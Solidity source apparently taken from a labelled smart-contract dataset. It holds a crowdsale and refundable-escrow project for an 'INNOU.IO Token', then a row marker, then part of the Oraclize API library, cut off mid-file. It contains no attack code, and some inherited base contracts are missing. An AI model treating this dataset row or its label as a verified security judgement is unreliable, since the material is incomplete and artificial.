pragma solidity ^0.5.2;
contract Secondary {
address private _primary;
event PrimaryTransferred(
address recipient
);
constructor () internal {
_primary = msg.sender;
emit PrimaryTransferred(_primary);
}
modifier onlyPrimary() {
require(msg.sender == _primary);
_;
}
function primary() public view returns (address) {
return _primary;
}
function transferPrimary(address recipient) public onlyPrimary {
require(recipient != address(0));
_primary = recipient;
emit PrimaryTransferred(_primary);
}
}
pragma solidity ^0.5.2;
contract Escrow is Secondary {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private _deposits;
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
function deposit(address payee) public onlyPrimary payable {
uint256 amount = msg.value;
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
function withdraw(address payable payee) public onlyPrimary {
uint256 payment = _deposits[payee];
_deposits[payee] = 0;
payee.transfer(payment);
emit Withdrawn(payee, payment);
}
}
pragma solidity ^0.5.2;
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address payee) public view returns (bool);
function withdraw(address payable payee) public {
require(withdrawalAllowed(payee));
super.withdraw(payee);
}
}
pragma solidity ^0.5.2;
contract RefundEscrow is ConditionalEscrow {
enum State { Active, Refunding, Closed }
event RefundsClosed();
event RefundsEnabled();
State private _state;
address payable private _beneficiary;
constructor (address payable beneficiary) public {
require(beneficiary != address(0));
_beneficiary = beneficiary;
_state = State.Active;
}
function state() public view returns (State) {
return _state;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function deposit(address refundee) public payable {
require(_state == State.Active);
super.deposit(refundee);
}
function close() public onlyPrimary {
require(_state == State.Active);
_state = State.Closed;
emit RefundsClosed();
}
function enableRefunds() public onlyPrimary {
require(_state == State.Active);
_state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(_state == State.Closed);
_beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address) public view returns (bool) {
return _state == State.Refunding;
}
}
pragma solidity ^0.5.2;
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 private _goal;
RefundEscrow private _escrow;
constructor (uint256 goal) public {
require(goal > 0);
_escrow = new RefundEscrow(wallet());
_goal = goal;
}
function goal() public view returns (uint256) {
return _goal;
}
function claimRefund(address payable refundee) public {
require(finalized());
require(!goalReached());
_escrow.withdraw(refundee);
}
function goalReached() public view returns (bool) {
return weiRaised() >= _goal;
}
function _finalization() internal {
if (goalReached()) {
_escrow.close();
_escrow.beneficiaryWithdraw();
} else {
_escrow.enableRefunds();
}
super._finalization();
}
function _forwardFunds() internal {
_escrow.deposit.value(msg.value)(msg.sender);
}
}
pragma solidity ^0.5.2;
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
function withdrawTokens(address beneficiary) public {
require(hasClosed());
uint256 amount = _balances[beneficiary];
require(amount > 0);
_balances[beneficiary] = 0;
_deliverTokens(beneficiary, amount);
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_balances[beneficiary] = _balances[beneficiary].add(tokenAmount);
}
}
pragma solidity ^0.5.2;
contract RefundablePostDeliveryCrowdsale is RefundableCrowdsale, PostDeliveryCrowdsale {
function withdrawTokens(address beneficiary) public {
require(finalized());
require(goalReached());
super.withdrawTokens(beneficiary);
}
}
pragma solidity ^0.5.2;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract InterfaceUpgradeAgent {
uint32 public revision;
function upgradeFrom(address holder, uint256 tokenQty) external returns (bool success);
}
pragma solidity ^0.5.2;
contract UpgradableToken is ERC20, Ownable {
using SafeMath for uint256;
uint32 public REVISION;
address public upgradeAgent = address(0);
uint256 public totalUpgraded;
event Upgrade(address indexed _from, uint256 _value);
event UpgradeEnabled(address agent);
function setUpgradeAgent(address _upgradeAgent, uint32 _revision)
onlyOwner whenUpgradeDisabled external
{
require((_upgradeAgent != address(0)) && (_revision != 0));
InterfaceUpgradeAgent agent = InterfaceUpgradeAgent(_upgradeAgent);
require(agent.revision() == _revision);
upgradeAgent = _upgradeAgent;
emit UpgradeEnabled(_upgradeAgent);
}
function upgrade(address from) whenUpgradeEnabled external {
require(from != address(0));
uint256 value = balanceOf(from);
require(value > 0);
_burn(from, value);
totalUpgraded = totalUpgraded.add(value);
InterfaceUpgradeAgent agent = InterfaceUpgradeAgent(upgradeAgent);
require(agent.upgradeFrom(from, value));
emit Upgrade(from, value);
}
modifier whenUpgradeEnabled() {
require(upgradeAgent != address(0));
_;
}
modifier whenUpgradeDisabled() {
require(upgradeAgent == address(0));
_;
}
}
pragma solidity ^0.5.2;
contract InnToken is ERC20Detailed, UpgradableToken, Secondary {
using SafeMath for uint256;
string public constant NAME = "INNOU.IO Token";
string public constant SYMBOL = "INNOU";
uint8 public constant DECIMALS = 14;
uint256 public constant PREMIUM_MINT_PCT = 15;
constructor()
ERC20Detailed(NAME, SYMBOL, DECIMALS)
public
{
}
function mint(address to, uint256 value) public onlyPrimary returns (bool) {
_mint(to, value);
uint256 premium = PREMIUM_MINT_PCT.mul(value).div(100);
_mint(primary(), premium);
return true;
}
}
pragma solidity ^0.5.2;
contract InnCrowdsale is RefundablePostDeliveryCrowdsale {
InnToken private _token = new InnToken();
uint256 private _minPurchase;
constructor(
uint256 openingTime,
uint256 closingTime,
uint256 rate,
address payable wallet,
uint256 goal,
uint256 minPurchase
)
Crowdsale(rate, wallet, _token)
TimedCrowdsale(openingTime, closingTime)
RefundableCrowdsale(goal)
public{
_minPurchase = minPurchase;
_token.transferOwnership(msg.sender);
}
function minPurchase() public view returns (uint256) {
return _minPurchase;
}
function transferPremiumTokens() external returns (bool) {
require(msg.sender == wallet());
uint256 value = InnToken(_token).balanceOf(address(this));
require(InnToken(_token).transfer(msg.sender, value));
return true;
}
function name() public view returns (string memory) {
return _token.name();
}
function symbol() public view returns (string memory) {
return _token.symbol();
}
function decimals() public view returns (uint8) {
return _token.decimals();
}
function isSaleOpen() public view returns (bool) {
return TimedCrowdsale.isOpen();
}
function isOpen() public view returns (bool) {
if (goalReached()) {
return false;
}
return super.isOpen();
}
function hasClosed() public view returns (bool) {
if (goalReached()) {
return true;
}
return super.hasClosed();
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
if (goalReached()) {
Crowdsale._processPurchase(beneficiary, tokenAmount);
} else {
super._processPurchase(beneficiary, tokenAmount);
}
}
function _forwardFunds() internal {
if (goalReached()) {
Crowdsale._forwardFunds();
} else {
RefundableCrowdsale._forwardFunds();
}
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(weiAmount >= _minPurchase);
require(beneficiary != address(0));
require(isSaleOpen());
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
require(InnToken(address(token())).mint(beneficiary, tokenAmount));
}
}
pragma solidity ^0.5.2;
contract InnCrowdsaleReady is InnCrowdsale {
uint256 public constant OpeningTime = 1559865600;
uint256 public constant ClosingTime = 1563494399;
uint256 public constant Goal = 2000 ether;
uint256 public constant Rate = 1;
uint256 public constant MinPurchase = 5000 szabo;
constructor(address payable wallet)
InnCrowdsale(
OpeningTime,
ClosingTime,
Rate,
wallet,
Goal,
MinPurchase
)
public {
}
} | 0 | 779 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
